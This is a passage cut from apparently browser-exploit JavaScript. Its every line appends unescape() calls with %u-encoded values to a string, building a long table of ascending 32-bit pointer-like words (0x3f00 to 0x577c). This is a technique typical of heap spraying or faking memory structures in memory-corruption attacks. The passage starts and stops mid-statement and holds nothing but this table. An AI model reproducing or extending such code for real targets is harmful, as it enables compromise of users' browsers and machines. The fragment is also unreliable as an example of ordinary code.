unescape(\"%u0000%u3f00%u0000%u3f04%u0000%u3f08%u0000%u3f0c%u0000%u3f10%u0000%u3f14%u0000%u3f18%u0000%u3f1c%u0000%u3f20%u0000%u3f24%u0000%u3f28%u0000%u3f2c%u0000%u3f30%u0000%u3f34%u0000%u3f38%u0000%u3f3c\");\n    str    += unescape(\"%u0000%u3f40%u0000%u3f44%u0000%u3f48%u0000%u3f4c%u0000%u3f50%u0000%u3f54%u0000%u3f58%u0000%u3f5c%u0000%u3f60%u0000%u3f64%u0000%u3f68%u0000%u3f6c%u0000%u3f70%u0000%u3f74%u0000%u3f78%u0000%u3f7c\");\n    str    += unescape(\"%u0000%u3f80%u0000%u3f84%u0000%u3f88%u0000%u3f8c%u0000%u3f90%u0000%u3f94%u0000%u3f98%u0000%u3f9c%u0000%u3fa0%u0000%u3fa4%u0000%u3fa8%u0000%u3fac%u0000%u3fb0%u0000%u3fb4%u0000%u3fb8%u0000%u3fbc\");\n    str    += unescape(\"%u0000%u3fc0%u0000%u3fc4%u0000%u3fc8%u0000%u3fcc%u0000%u3fd0%u0000%u3fd4%u0000%u3fd8%u0000%u3fdc%u0000%u3fe0%u0000%u3fe4%u0000%u3fe8%u0000%u3fec%u0000%u3ff0%u0000%u3ff4%u0000%u3ff8%u0000%u3ffc\");\n    str    += unescape(\"%u0000%u4000%u0000%u4004%u0000%u4008%u0000%u400c%u0000%u4010%u0000%u4014%u0000%u4018%u0000%u401c%u0000%u4020%u0000%u4024%u0000%u4028%u0000%u402c%u0000%u4030%u0000%u4034%u0000%u4038%u0000%u403c\");\n    str    += unescape(\"%u0000%u4040%u0000%u4044%u0000%u4048%u0000%u404c%u0000%u4050%u0000%u4054%u0000%u4058%u0000%u405c%u0000%u4060%u0000%u4064%u0000%u4068%u0000%u406c%u0000%u4070%u0000%u4074%u0000%u4078%u0000%u407c\");\n    str    += unescape(\"%u0000%u4080%u0000%u4084%u0000%u4088%u0000%u408c%u0000%u4090%u0000%u4094%u0000%u4098%u0000%u409c%u0000%u40a0%u0000%u40a4%u0000%u40a8%u0000%u40ac%u0000%u40b0%u0000%u40b4%u0000%u40b8%u0000%u40bc\");\n    str    += unescape(\"%u0000%u40c0%u0000%u40c4%u0000%u40c8%u0000%u40cc%u0000%u40d0%u0000%u40d4%u0000%u40d8%u0000%u40dc%u0000%u40e0%u0000%u40e4%u0000%u40e8%u0000%u40ec%u0000%u40f0%u0000%u40f4%u0000%u40f8%u0000%u40fc\");\n    str    += unescape(\"%u0000%u4100%u0000%u4104%u0000%u4108%u0000%u410c%u0000%u4110%u0000%u4114%u0000%u4118%u0000%u411c%u0000%u4120%u0000%u4124%u0000%u4128%u0000%u412c%u0000%u4130%u0000%u4134%u0000%u4138%u0000%u413c\");\n    str    += unescape(\"%u0000%u4140%u0000%u4144%u0000%u4148%u0000%u414c%u0000%u4150%u0000%u4154%u0000%u4158%u0000%u415c%u0000%u4160%u0000%u4164%u0000%u4168%u0000%u416c%u0000%u4170%u0000%u4174%u0000%u4178%u0000%u417c\");\n    str    += unescape(\"%u0000%u4180%u0000%u4184%u0000%u4188%u0000%u418c%u0000%u4190%u0000%u4194%u0000%u4198%u0000%u419c%u0000%u41a0%u0000%u41a4%u0000%u41a8%u0000%u41ac%u0000%u41b0%u0000%u41b4%u0000%u41b8%u0000%u41bc\");\n    str    += unescape(\"%u0000%u41c0%u0000%u41c4%u0000%u41c8%u0000%u41cc%u0000%u41d0%u0000%u41d4%u0000%u41d8%u0000%u41dc%u0000%u41e0%u0000%u41e4%u0000%u41e8%u0000%u41ec%u0000%u41f0%u0000%u41f4%u0000%u41f8%u0000%u41fc\");\n    str    += unescape(\"%u0000%u4200%u0000%u4204%u0000%u4208%u0000%u420c%u0000%u4210%u0000%u4214%u0000%u4218%u0000%u421c%u0000%u4220%u0000%u4224%u0000%u4228%u0000%u422c%u0000%u4230%u0000%u4234%u0000%u4238%u0000%u423c\");\n    str    += unescape(\"%u0000%u4240%u0000%u4244%u0000%u4248%u0000%u424c%u0000%u4250%u0000%u4254%u0000%u4258%u0000%u425c%u0000%u4260%u0000%u4264%u0000%u4268%u0000%u426c%u0000%u4270%u0000%u4274%u0000%u4278%u0000%u427c\");\n    str    += unescape(\"%u0000%u4280%u0000%u4284%u0000%u4288%u0000%u428c%u0000%u4290%u0000%u4294%u0000%u4298%u0000%u429c%u0000%u42a0%u0000%u42a4%u0000%u42a8%u0000%u42ac%u0000%u42b0%u0000%u42b4%u0000%u42b8%u0000%u42bc\");\n    str    += unescape(\"%u0000%u42c0%u0000%u42c4%u0000%u42c8%u0000%u42cc%u0000%u42d0%u0000%u42d4%u0000%u42d8%u0000%u42dc%u0000%u42e0%u0000%u42e4%u0000%u42e8%u0000%u42ec%u0000%u42f0%u0000%u42f4%u0000%u42f8%u0000%u42fc\");\n    str    += unescape(\"%u0000%u4300%u0000%u4304%u0000%u4308%u0000%u430c%u0000%u4310%u0000%u4314%u0000%u4318%u0000%u431c%u0000%u4320%u0000%u4324%u0000%u4328%u0000%u432c%u0000%u4330%u0000%u4334%u0000%u4338%u0000%u433c\");\n    str    += unescape(\"%u0000%u4340%u0000%u4344%u0000%u4348%u0000%u434c%u0000%u4350%u0000%u4354%u0000%u4358%u0000%u435c%u0000%u4360%u0000%u4364%u0000%u4368%u0000%u436c%u0000%u4370%u0000%u4374%u0000%u4378%u0000%u437c\");\n    str    += unescape(\"%u0000%u4380%u0000%u4384%u0000%u4388%u0000%u438c%u0000%u4390%u0000%u4394%u0000%u4398%u0000%u439c%u0000%u43a0%u0000%u43a4%u0000%u43a8%u0000%u43ac%u0000%u43b0%u0000%u43b4%u0000%u43b8%u0000%u43bc\");\n    str    += unescape(\"%u0000%u43c0%u0000%u43c4%u0000%u43c8%u0000%u43cc%u0000%u43d0%u0000%u43d4%u0000%u43d8%u0000%u43dc%u0000%u43e0%u0000%u43e4%u0000%u43e8%u0000%u43ec%u0000%u43f0%u0000%u43f4%u0000%u43f8%u0000%u43fc\");\n    str    += unescape(\"%u0000%u4400%u0000%u4404%u0000%u4408%u0000%u440c%u0000%u4410%u0000%u4414%u0000%u4418%u0000%u441c%u0000%u4420%u0000%u4424%u0000%u4428%u0000%u442c%u0000%u4430%u0000%u4434%u0000%u4438%u0000%u443c\");\n    str    += unescape(\"%u0000%u4440%u0000%u4444%u0000%u4448%u0000%u444c%u0000%u4450%u0000%u4454%u0000%u4458%u0000%u445c%u0000%u4460%u0000%u4464%u0000%u4468%u0000%u446c%u0000%u4470%u0000%u4474%u0000%u4478%u0000%u447c\");\n    str    += unescape(\"%u0000%u4480%u0000%u4484%u0000%u4488%u0000%u448c%u0000%u4490%u0000%u4494%u0000%u4498%u0000%u449c%u0000%u44a0%u0000%u44a4%u0000%u44a8%u0000%u44ac%u0000%u44b0%u0000%u44b4%u0000%u44b8%u0000%u44bc\");\n    str    += unescape(\"%u0000%u44c0%u0000%u44c4%u0000%u44c8%u0000%u44cc%u0000%u44d0%u0000%u44d4%u0000%u44d8%u0000%u44dc%u0000%u44e0%u0000%u44e4%u0000%u44e8%u0000%u44ec%u0000%u44f0%u0000%u44f4%u0000%u44f8%u0000%u44fc\");\n    str    += unescape(\"%u0000%u4500%u0000%u4504%u0000%u4508%u0000%u450c%u0000%u4510%u0000%u4514%u0000%u4518%u0000%u451c%u0000%u4520%u0000%u4524%u0000%u4528%u0000%u452c%u0000%u4530%u0000%u4534%u0000%u4538%u0000%u453c\");\n    str    += unescape(\"%u0000%u4540%u0000%u4544%u0000%u4548%u0000%u454c%u0000%u4550%u0000%u4554%u0000%u4558%u0000%u455c%u0000%u4560%u0000%u4564%u0000%u4568%u0000%u456c%u0000%u4570%u0000%u4574%u0000%u4578%u0000%u457c\");\n    str    += unescape(\"%u0000%u4580%u0000%u4584%u0000%u4588%u0000%u458c%u0000%u4590%u0000%u4594%u0000%u4598%u0000%u459c%u0000%u45a0%u0000%u45a4%u0000%u45a8%u0000%u45ac%u0000%u45b0%u0000%u45b4%u0000%u45b8%u0000%u45bc\");\n    str    += unescape(\"%u0000%u45c0%u0000%u45c4%u0000%u45c8%u0000%u45cc%u0000%u45d0%u0000%u45d4%u0000%u45d8%u0000%u45dc%u0000%u45e0%u0000%u45e4%u0000%u45e8%u0000%u45ec%u0000%u45f0%u0000%u45f4%u0000%u45f8%u0000%u45fc\");\n    str    += unescape(\"%u0000%u4600%u0000%u4604%u0000%u4608%u0000%u460c%u0000%u4610%u0000%u4614%u0000%u4618%u0000%u461c%u0000%u4620%u0000%u4624%u0000%u4628%u0000%u462c%u0000%u4630%u0000%u4634%u0000%u4638%u0000%u463c\");\n    str    += unescape(\"%u0000%u4640%u0000%u4644%u0000%u4648%u0000%u464c%u0000%u4650%u0000%u4654%u0000%u4658%u0000%u465c%u0000%u4660%u0000%u4664%u0000%u4668%u0000%u466c%u0000%u4670%u0000%u4674%u0000%u4678%u0000%u467c\");\n    str    += unescape(\"%u0000%u4680%u0000%u4684%u0000%u4688%u0000%u468c%u0000%u4690%u0000%u4694%u0000%u4698%u0000%u469c%u0000%u46a0%u0000%u46a4%u0000%u46a8%u0000%u46ac%u0000%u46b0%u0000%u46b4%u0000%u46b8%u0000%u46bc\");\n    str    += unescape(\"%u0000%u46c0%u0000%u46c4%u0000%u46c8%u0000%u46cc%u0000%u46d0%u0000%u46d4%u0000%u46d8%u0000%u46dc%u0000%u46e0%u0000%u46e4%u0000%u46e8%u0000%u46ec%u0000%u46f0%u0000%u46f4%u0000%u46f8%u0000%u46fc\");\n    str    += unescape(\"%u0000%u4700%u0000%u4704%u0000%u4708%u0000%u470c%u0000%u4710%u0000%u4714%u0000%u4718%u0000%u471c%u0000%u4720%u0000%u4724%u0000%u4728%u0000%u472c%u0000%u4730%u0000%u4734%u0000%u4738%u0000%u473c\");\n    str    += unescape(\"%u0000%u4740%u0000%u4744%u0000%u4748%u0000%u474c%u0000%u4750%u0000%u4754%u0000%u4758%u0000%u475c%u0000%u4760%u0000%u4764%u0000%u4768%u0000%u476c%u0000%u4770%u0000%u4774%u0000%u4778%u0000%u477c\");\n    str    += unescape(\"%u0000%u4780%u0000%u4784%u0000%u4788%u0000%u478c%u0000%u4790%u0000%u4794%u0000%u4798%u0000%u479c%u0000%u47a0%u0000%u47a4%u0000%u47a8%u0000%u47ac%u0000%u47b0%u0000%u47b4%u0000%u47b8%u0000%u47bc\");\n    str    += unescape(\"%u0000%u47c0%u0000%u47c4%u0000%u47c8%u0000%u47cc%u0000%u47d0%u0000%u47d4%u0000%u47d8%u0000%u47dc%u0000%u47e0%u0000%u47e4%u0000%u47e8%u0000%u47ec%u0000%u47f0%u0000%u47f4%u0000%u47f8%u0000%u47fc\");\n    str    += unescape(\"%u0000%u4800%u0000%u4804%u0000%u4808%u0000%u480c%u0000%u4810%u0000%u4814%u0000%u4818%u0000%u481c%u0000%u4820%u0000%u4824%u0000%u4828%u0000%u482c%u0000%u4830%u0000%u4834%u0000%u4838%u0000%u483c\");\n    str    += unescape(\"%u0000%u4840%u0000%u4844%u0000%u4848%u0000%u484c%u0000%u4850%u0000%u4854%u0000%u4858%u0000%u485c%u0000%u4860%u0000%u4864%u0000%u4868%u0000%u486c%u0000%u4870%u0000%u4874%u0000%u4878%u0000%u487c\");\n    str    += unescape(\"%u0000%u4880%u0000%u4884%u0000%u4888%u0000%u488c%u0000%u4890%u0000%u4894%u0000%u4898%u0000%u489c%u0000%u48a0%u0000%u48a4%u0000%u48a8%u0000%u48ac%u0000%u48b0%u0000%u48b4%u0000%u48b8%u0000%u48bc\");\n    str    += unescape(\"%u0000%u48c0%u0000%u48c4%u0000%u48c8%u0000%u48cc%u0000%u48d0%u0000%u48d4%u0000%u48d8%u0000%u48dc%u0000%u48e0%u0000%u48e4%u0000%u48e8%u0000%u48ec%u0000%u48f0%u0000%u48f4%u0000%u48f8%u0000%u48fc\");\n    str    += unescape(\"%u0000%u4900%u0000%u4904%u0000%u4908%u0000%u490c%u0000%u4910%u0000%u4914%u0000%u4918%u0000%u491c%u0000%u4920%u0000%u4924%u0000%u4928%u0000%u492c%u0000%u4930%u0000%u4934%u0000%u4938%u0000%u493c\");\n    str    += unescape(\"%u0000%u4940%u0000%u4944%u0000%u4948%u0000%u494c%u0000%u4950%u0000%u4954%u0000%u4958%u0000%u495c%u0000%u4960%u0000%u4964%u0000%u4968%u0000%u496c%u0000%u4970%u0000%u4974%u0000%u4978%u0000%u497c\");\n    str    += unescape(\"%u0000%u4980%u0000%u4984%u0000%u4988%u0000%u498c%u0000%u4990%u0000%u4994%u0000%u4998%u0000%u499c%u0000%u49a0%u0000%u49a4%u0000%u49a8%u0000%u49ac%u0000%u49b0%u0000%u49b4%u0000%u49b8%u0000%u49bc\");\n    str    += unescape(\"%u0000%u49c0%u0000%u49c4%u0000%u49c8%u0000%u49cc%u0000%u49d0%u0000%u49d4%u0000%u49d8%u0000%u49dc%u0000%u49e0%u0000%u49e4%u0000%u49e8%u0000%u49ec%u0000%u49f0%u0000%u49f4%u0000%u49f8%u0000%u49fc\");\n    str    += unescape(\"%u0000%u4a00%u0000%u4a04%u0000%u4a08%u0000%u4a0c%u0000%u4a10%u0000%u4a14%u0000%u4a18%u0000%u4a1c%u0000%u4a20%u0000%u4a24%u0000%u4a28%u0000%u4a2c%u0000%u4a30%u0000%u4a34%u0000%u4a38%u0000%u4a3c\");\n    str    += unescape(\"%u0000%u4a40%u0000%u4a44%u0000%u4a48%u0000%u4a4c%u0000%u4a50%u0000%u4a54%u0000%u4a58%u0000%u4a5c%u0000%u4a60%u0000%u4a64%u0000%u4a68%u0000%u4a6c%u0000%u4a70%u0000%u4a74%u0000%u4a78%u0000%u4a7c\");\n    str    += unescape(\"%u0000%u4a80%u0000%u4a84%u0000%u4a88%u0000%u4a8c%u0000%u4a90%u0000%u4a94%u0000%u4a98%u0000%u4a9c%u0000%u4aa0%u0000%u4aa4%u0000%u4aa8%u0000%u4aac%u0000%u4ab0%u0000%u4ab4%u0000%u4ab8%u0000%u4abc\");\n    str    += unescape(\"%u0000%u4ac0%u0000%u4ac4%u0000%u4ac8%u0000%u4acc%u0000%u4ad0%u0000%u4ad4%u0000%u4ad8%u0000%u4adc%u0000%u4ae0%u0000%u4ae4%u0000%u4ae8%u0000%u4aec%u0000%u4af0%u0000%u4af4%u0000%u4af8%u0000%u4afc\");\n    str    += unescape(\"%u0000%u4b00%u0000%u4b04%u0000%u4b08%u0000%u4b0c%u0000%u4b10%u0000%u4b14%u0000%u4b18%u0000%u4b1c%u0000%u4b20%u0000%u4b24%u0000%u4b28%u0000%u4b2c%u0000%u4b30%u0000%u4b34%u0000%u4b38%u0000%u4b3c\");\n    str    += unescape(\"%u0000%u4b40%u0000%u4b44%u0000%u4b48%u0000%u4b4c%u0000%u4b50%u0000%u4b54%u0000%u4b58%u0000%u4b5c%u0000%u4b60%u0000%u4b64%u0000%u4b68%u0000%u4b6c%u0000%u4b70%u0000%u4b74%u0000%u4b78%u0000%u4b7c\");\n    str    += unescape(\"%u0000%u4b80%u0000%u4b84%u0000%u4b88%u0000%u4b8c%u0000%u4b90%u0000%u4b94%u0000%u4b98%u0000%u4b9c%u0000%u4ba0%u0000%u4ba4%u0000%u4ba8%u0000%u4bac%u0000%u4bb0%u0000%u4bb4%u0000%u4bb8%u0000%u4bbc\");\n    str    += unescape(\"%u0000%u4bc0%u0000%u4bc4%u0000%u4bc8%u0000%u4bcc%u0000%u4bd0%u0000%u4bd4%u0000%u4bd8%u0000%u4bdc%u0000%u4be0%u0000%u4be4%u0000%u4be8%u0000%u4bec%u0000%u4bf0%u0000%u4bf4%u0000%u4bf8%u0000%u4bfc\");\n    str    += unescape(\"%u0000%u4c00%u0000%u4c04%u0000%u4c08%u0000%u4c0c%u0000%u4c10%u0000%u4c14%u0000%u4c18%u0000%u4c1c%u0000%u4c20%u0000%u4c24%u0000%u4c28%u0000%u4c2c%u0000%u4c30%u0000%u4c34%u0000%u4c38%u0000%u4c3c\");\n    str    += unescape(\"%u0000%u4c40%u0000%u4c44%u0000%u4c48%u0000%u4c4c%u0000%u4c50%u0000%u4c54%u0000%u4c58%u0000%u4c5c%u0000%u4c60%u0000%u4c64%u0000%u4c68%u0000%u4c6c%u0000%u4c70%u0000%u4c74%u0000%u4c78%u0000%u4c7c\");\n    str    += unescape(\"%u0000%u4c80%u0000%u4c84%u0000%u4c88%u0000%u4c8c%u0000%u4c90%u0000%u4c94%u0000%u4c98%u0000%u4c9c%u0000%u4ca0%u0000%u4ca4%u0000%u4ca8%u0000%u4cac%u0000%u4cb0%u0000%u4cb4%u0000%u4cb8%u0000%u4cbc\");\n    str    += unescape(\"%u0000%u4cc0%u0000%u4cc4%u0000%u4cc8%u0000%u4ccc%u0000%u4cd0%u0000%u4cd4%u0000%u4cd8%u0000%u4cdc%u0000%u4ce0%u0000%u4ce4%u0000%u4ce8%u0000%u4cec%u0000%u4cf0%u0000%u4cf4%u0000%u4cf8%u0000%u4cfc\");\n    str    += unescape(\"%u0000%u4d00%u0000%u4d04%u0000%u4d08%u0000%u4d0c%u0000%u4d10%u0000%u4d14%u0000%u4d18%u0000%u4d1c%u0000%u4d20%u0000%u4d24%u0000%u4d28%u0000%u4d2c%u0000%u4d30%u0000%u4d34%u0000%u4d38%u0000%u4d3c\");\n    str    += unescape(\"%u0000%u4d40%u0000%u4d44%u0000%u4d48%u0000%u4d4c%u0000%u4d50%u0000%u4d54%u0000%u4d58%u0000%u4d5c%u0000%u4d60%u0000%u4d64%u0000%u4d68%u0000%u4d6c%u0000%u4d70%u0000%u4d74%u0000%u4d78%u0000%u4d7c\");\n    str    += unescape(\"%u0000%u4d80%u0000%u4d84%u0000%u4d88%u0000%u4d8c%u0000%u4d90%u0000%u4d94%u0000%u4d98%u0000%u4d9c%u0000%u4da0%u0000%u4da4%u0000%u4da8%u0000%u4dac%u0000%u4db0%u0000%u4db4%u0000%u4db8%u0000%u4dbc\");\n    str    += unescape(\"%u0000%u4dc0%u0000%u4dc4%u0000%u4dc8%u0000%u4dcc%u0000%u4dd0%u0000%u4dd4%u0000%u4dd8%u0000%u4ddc%u0000%u4de0%u0000%u4de4%u0000%u4de8%u0000%u4dec%u0000%u4df0%u0000%u4df4%u0000%u4df8%u0000%u4dfc\");\n    str    += unescape(\"%u0000%u4e00%u0000%u4e04%u0000%u4e08%u0000%u4e0c%u0000%u4e10%u0000%u4e14%u0000%u4e18%u0000%u4e1c%u0000%u4e20%u0000%u4e24%u0000%u4e28%u0000%u4e2c%u0000%u4e30%u0000%u4e34%u0000%u4e38%u0000%u4e3c\");\n    str    += unescape(\"%u0000%u4e40%u0000%u4e44%u0000%u4e48%u0000%u4e4c%u0000%u4e50%u0000%u4e54%u0000%u4e58%u0000%u4e5c%u0000%u4e60%u0000%u4e64%u0000%u4e68%u0000%u4e6c%u0000%u4e70%u0000%u4e74%u0000%u4e78%u0000%u4e7c\");\n    str    += unescape(\"%u0000%u4e80%u0000%u4e84%u0000%u4e88%u0000%u4e8c%u0000%u4e90%u0000%u4e94%u0000%u4e98%u0000%u4e9c%u0000%u4ea0%u0000%u4ea4%u0000%u4ea8%u0000%u4eac%u0000%u4eb0%u0000%u4eb4%u0000%u4eb8%u0000%u4ebc\");\n    str    += unescape(\"%u0000%u4ec0%u0000%u4ec4%u0000%u4ec8%u0000%u4ecc%u0000%u4ed0%u0000%u4ed4%u0000%u4ed8%u0000%u4edc%u0000%u4ee0%u0000%u4ee4%u0000%u4ee8%u0000%u4eec%u0000%u4ef0%u0000%u4ef4%u0000%u4ef8%u0000%u4efc\");\n    str    += unescape(\"%u0000%u4f00%u0000%u4f04%u0000%u4f08%u0000%u4f0c%u0000%u4f10%u0000%u4f14%u0000%u4f18%u0000%u4f1c%u0000%u4f20%u0000%u4f24%u0000%u4f28%u0000%u4f2c%u0000%u4f30%u0000%u4f34%u0000%u4f38%u0000%u4f3c\");\n    str    += unescape(\"%u0000%u4f40%u0000%u4f44%u0000%u4f48%u0000%u4f4c%u0000%u4f50%u0000%u4f54%u0000%u4f58%u0000%u4f5c%u0000%u4f60%u0000%u4f64%u0000%u4f68%u0000%u4f6c%u0000%u4f70%u0000%u4f74%u0000%u4f78%u0000%u4f7c\");\n    str    += unescape(\"%u0000%u4f80%u0000%u4f84%u0000%u4f88%u0000%u4f8c%u0000%u4f90%u0000%u4f94%u0000%u4f98%u0000%u4f9c%u0000%u4fa0%u0000%u4fa4%u0000%u4fa8%u0000%u4fac%u0000%u4fb0%u0000%u4fb4%u0000%u4fb8%u0000%u4fbc\");\n    str    += unescape(\"%u0000%u4fc0%u0000%u4fc4%u0000%u4fc8%u0000%u4fcc%u0000%u4fd0%u0000%u4fd4%u0000%u4fd8%u0000%u4fdc%u0000%u4fe0%u0000%u4fe4%u0000%u4fe8%u0000%u4fec%u0000%u4ff0%u0000%u4ff4%u0000%u4ff8%u0000%u4ffc\");\n    str    += unescape(\"%u0000%u5000%u0000%u5004%u0000%u5008%u0000%u500c%u0000%u5010%u0000%u5014%u0000%u5018%u0000%u501c%u0000%u5020%u0000%u5024%u0000%u5028%u0000%u502c%u0000%u5030%u0000%u5034%u0000%u5038%u0000%u503c\");\n    str    += unescape(\"%u0000%u5040%u0000%u5044%u0000%u5048%u0000%u504c%u0000%u5050%u0000%u5054%u0000%u5058%u0000%u505c%u0000%u5060%u0000%u5064%u0000%u5068%u0000%u506c%u0000%u5070%u0000%u5074%u0000%u5078%u0000%u507c\");\n    str    += unescape(\"%u0000%u5080%u0000%u5084%u0000%u5088%u0000%u508c%u0000%u5090%u0000%u5094%u0000%u5098%u0000%u509c%u0000%u50a0%u0000%u50a4%u0000%u50a8%u0000%u50ac%u0000%u50b0%u0000%u50b4%u0000%u50b8%u0000%u50bc\");\n    str    += unescape(\"%u0000%u50c0%u0000%u50c4%u0000%u50c8%u0000%u50cc%u0000%u50d0%u0000%u50d4%u0000%u50d8%u0000%u50dc%u0000%u50e0%u0000%u50e4%u0000%u50e8%u0000%u50ec%u0000%u50f0%u0000%u50f4%u0000%u50f8%u0000%u50fc\");\n    str    += unescape(\"%u0000%u5100%u0000%u5104%u0000%u5108%u0000%u510c%u0000%u5110%u0000%u5114%u0000%u5118%u0000%u511c%u0000%u5120%u0000%u5124%u0000%u5128%u0000%u512c%u0000%u5130%u0000%u5134%u0000%u5138%u0000%u513c\");\n    str    += unescape(\"%u0000%u5140%u0000%u5144%u0000%u5148%u0000%u514c%u0000%u5150%u0000%u5154%u0000%u5158%u0000%u515c%u0000%u5160%u0000%u5164%u0000%u5168%u0000%u516c%u0000%u5170%u0000%u5174%u0000%u5178%u0000%u517c\");\n    str    += unescape(\"%u0000%u5180%u0000%u5184%u0000%u5188%u0000%u518c%u0000%u5190%u0000%u5194%u0000%u5198%u0000%u519c%u0000%u51a0%u0000%u51a4%u0000%u51a8%u0000%u51ac%u0000%u51b0%u0000%u51b4%u0000%u51b8%u0000%u51bc\");\n    str    += unescape(\"%u0000%u51c0%u0000%u51c4%u0000%u51c8%u0000%u51cc%u0000%u51d0%u0000%u51d4%u0000%u51d8%u0000%u51dc%u0000%u51e0%u0000%u51e4%u0000%u51e8%u0000%u51ec%u0000%u51f0%u0000%u51f4%u0000%u51f8%u0000%u51fc\");\n    str    += unescape(\"%u0000%u5200%u0000%u5204%u0000%u5208%u0000%u520c%u0000%u5210%u0000%u5214%u0000%u5218%u0000%u521c%u0000%u5220%u0000%u5224%u0000%u5228%u0000%u522c%u0000%u5230%u0000%u5234%u0000%u5238%u0000%u523c\");\n    str    += unescape(\"%u0000%u5240%u0000%u5244%u0000%u5248%u0000%u524c%u0000%u5250%u0000%u5254%u0000%u5258%u0000%u525c%u0000%u5260%u0000%u5264%u0000%u5268%u0000%u526c%u0000%u5270%u0000%u5274%u0000%u5278%u0000%u527c\");\n    str    += unescape(\"%u0000%u5280%u0000%u5284%u0000%u5288%u0000%u528c%u0000%u5290%u0000%u5294%u0000%u5298%u0000%u529c%u0000%u52a0%u0000%u52a4%u0000%u52a8%u0000%u52ac%u0000%u52b0%u0000%u52b4%u0000%u52b8%u0000%u52bc\");\n    str    += unescape(\"%u0000%u52c0%u0000%u52c4%u0000%u52c8%u0000%u52cc%u0000%u52d0%u0000%u52d4%u0000%u52d8%u0000%u52dc%u0000%u52e0%u0000%u52e4%u0000%u52e8%u0000%u52ec%u0000%u52f0%u0000%u52f4%u0000%u52f8%u0000%u52fc\");\n    str    += unescape(\"%u0000%u5300%u0000%u5304%u0000%u5308%u0000%u530c%u0000%u5310%u0000%u5314%u0000%u5318%u0000%u531c%u0000%u5320%u0000%u5324%u0000%u5328%u0000%u532c%u0000%u5330%u0000%u5334%u0000%u5338%u0000%u533c\");\n    str    += unescape(\"%u0000%u5340%u0000%u5344%u0000%u5348%u0000%u534c%u0000%u5350%u0000%u5354%u0000%u5358%u0000%u535c%u0000%u5360%u0000%u5364%u0000%u5368%u0000%u536c%u0000%u5370%u0000%u5374%u0000%u5378%u0000%u537c\");\n    str    += unescape(\"%u0000%u5380%u0000%u5384%u0000%u5388%u0000%u538c%u0000%u5390%u0000%u5394%u0000%u5398%u0000%u539c%u0000%u53a0%u0000%u53a4%u0000%u53a8%u0000%u53ac%u0000%u53b0%u0000%u53b4%u0000%u53b8%u0000%u53bc\");\n    str    += unescape(\"%u0000%u53c0%u0000%u53c4%u0000%u53c8%u0000%u53cc%u0000%u53d0%u0000%u53d4%u0000%u53d8%u0000%u53dc%u0000%u53e0%u0000%u53e4%u0000%u53e8%u0000%u53ec%u0000%u53f0%u0000%u53f4%u0000%u53f8%u0000%u53fc\");\n    str    += unescape(\"%u0000%u5400%u0000%u5404%u0000%u5408%u0000%u540c%u0000%u5410%u0000%u5414%u0000%u5418%u0000%u541c%u0000%u5420%u0000%u5424%u0000%u5428%u0000%u542c%u0000%u5430%u0000%u5434%u0000%u5438%u0000%u543c\");\n    str    += unescape(\"%u0000%u5440%u0000%u5444%u0000%u5448%u0000%u544c%u0000%u5450%u0000%u5454%u0000%u5458%u0000%u545c%u0000%u5460%u0000%u5464%u0000%u5468%u0000%u546c%u0000%u5470%u0000%u5474%u0000%u5478%u0000%u547c\");\n    str    += unescape(\"%u0000%u5480%u0000%u5484%u0000%u5488%u0000%u548c%u0000%u5490%u0000%u5494%u0000%u5498%u0000%u549c%u0000%u54a0%u0000%u54a4%u0000%u54a8%u0000%u54ac%u0000%u54b0%u0000%u54b4%u0000%u54b8%u0000%u54bc\");\n    str    += unescape(\"%u0000%u54c0%u0000%u54c4%u0000%u54c8%u0000%u54cc%u0000%u54d0%u0000%u54d4%u0000%u54d8%u0000%u54dc%u0000%u54e0%u0000%u54e4%u0000%u54e8%u0000%u54ec%u0000%u54f0%u0000%u54f4%u0000%u54f8%u0000%u54fc\");\n    str    += unescape(\"%u0000%u5500%u0000%u5504%u0000%u5508%u0000%u550c%u0000%u5510%u0000%u5514%u0000%u5518%u0000%u551c%u0000%u5520%u0000%u5524%u0000%u5528%u0000%u552c%u0000%u5530%u0000%u5534%u0000%u5538%u0000%u553c\");\n    str    += unescape(\"%u0000%u5540%u0000%u5544%u0000%u5548%u0000%u554c%u0000%u5550%u0000%u5554%u0000%u5558%u0000%u555c%u0000%u5560%u0000%u5564%u0000%u5568%u0000%u556c%u0000%u5570%u0000%u5574%u0000%u5578%u0000%u557c\");\n    str    += unescape(\"%u0000%u5580%u0000%u5584%u0000%u5588%u0000%u558c%u0000%u5590%u0000%u5594%u0000%u5598%u0000%u559c%u0000%u55a0%u0000%u55a4%u0000%u55a8%u0000%u55ac%u0000%u55b0%u0000%u55b4%u0000%u55b8%u0000%u55bc\");\n    str    += unescape(\"%u0000%u55c0%u0000%u55c4%u0000%u55c8%u0000%u55cc%u0000%u55d0%u0000%u55d4%u0000%u55d8%u0000%u55dc%u0000%u55e0%u0000%u55e4%u0000%u55e8%u0000%u55ec%u0000%u55f0%u0000%u55f4%u0000%u55f8%u0000%u55fc\");\n    str    += unescape(\"%u0000%u5600%u0000%u5604%u0000%u5608%u0000%u560c%u0000%u5610%u0000%u5614%u0000%u5618%u0000%u561c%u0000%u5620%u0000%u5624%u0000%u5628%u0000%u562c%u0000%u5630%u0000%u5634%u0000%u5638%u0000%u563c\");\n    str    += unescape(\"%u0000%u5640%u0000%u5644%u0000%u5648%u0000%u564c%u0000%u5650%u0000%u5654%u0000%u5658%u0000%u565c%u0000%u5660%u0000%u5664%u0000%u5668%u0000%u566c%u0000%u5670%u0000%u5674%u0000%u5678%u0000%u567c\");\n    str    += unescape(\"%u0000%u5680%u0000%u5684%u0000%u5688%u0000%u568c%u0000%u5690%u0000%u5694%u0000%u5698%u0000%u569c%u0000%u56a0%u0000%u56a4%u0000%u56a8%u0000%u56ac%u0000%u56b0%u0000%u56b4%u0000%u56b8%u0000%u56bc\");\n    str    += unescape(\"%u0000%u56c0%u0000%u56c4%u0000%u56c8%u0000%u56cc%u0000%u56d0%u0000%u56d4%u0000%u56d8%u0000%u56dc%u0000%u56e0%u0000%u56e4%u0000%u56e8%u0000%u56ec%u0000%u56f0%u0000%u56f4%u0000%u56f8%u0000%u56fc\");\n    str    += unescape(\"%u0000%u5700%u0000%u5704%u0000%u5708%u0000%u570c%u0000%u5710%u0000%u5714%u0000%u5718%u0000%u571c%u0000%u5720%u0000%u5724%u0000%u5728%u0000%u572c%u0000%u5730%u0000%u5734%u0000%u5738%u0000%u573c\");\n    str    += unescape(\"%u0000%u5740%u0000%u5744%u0000%u5748%u0000%u574c%u0000%u5750%u0000%u5754%u0000%u5758%u0000%u575c%u0000%u5760%u0000%u5764%u0000%u5768%u0000%u576c%u0000%u5770%u0000%u5774%u0000%u5778%u0000%u577c\");\n    str    += 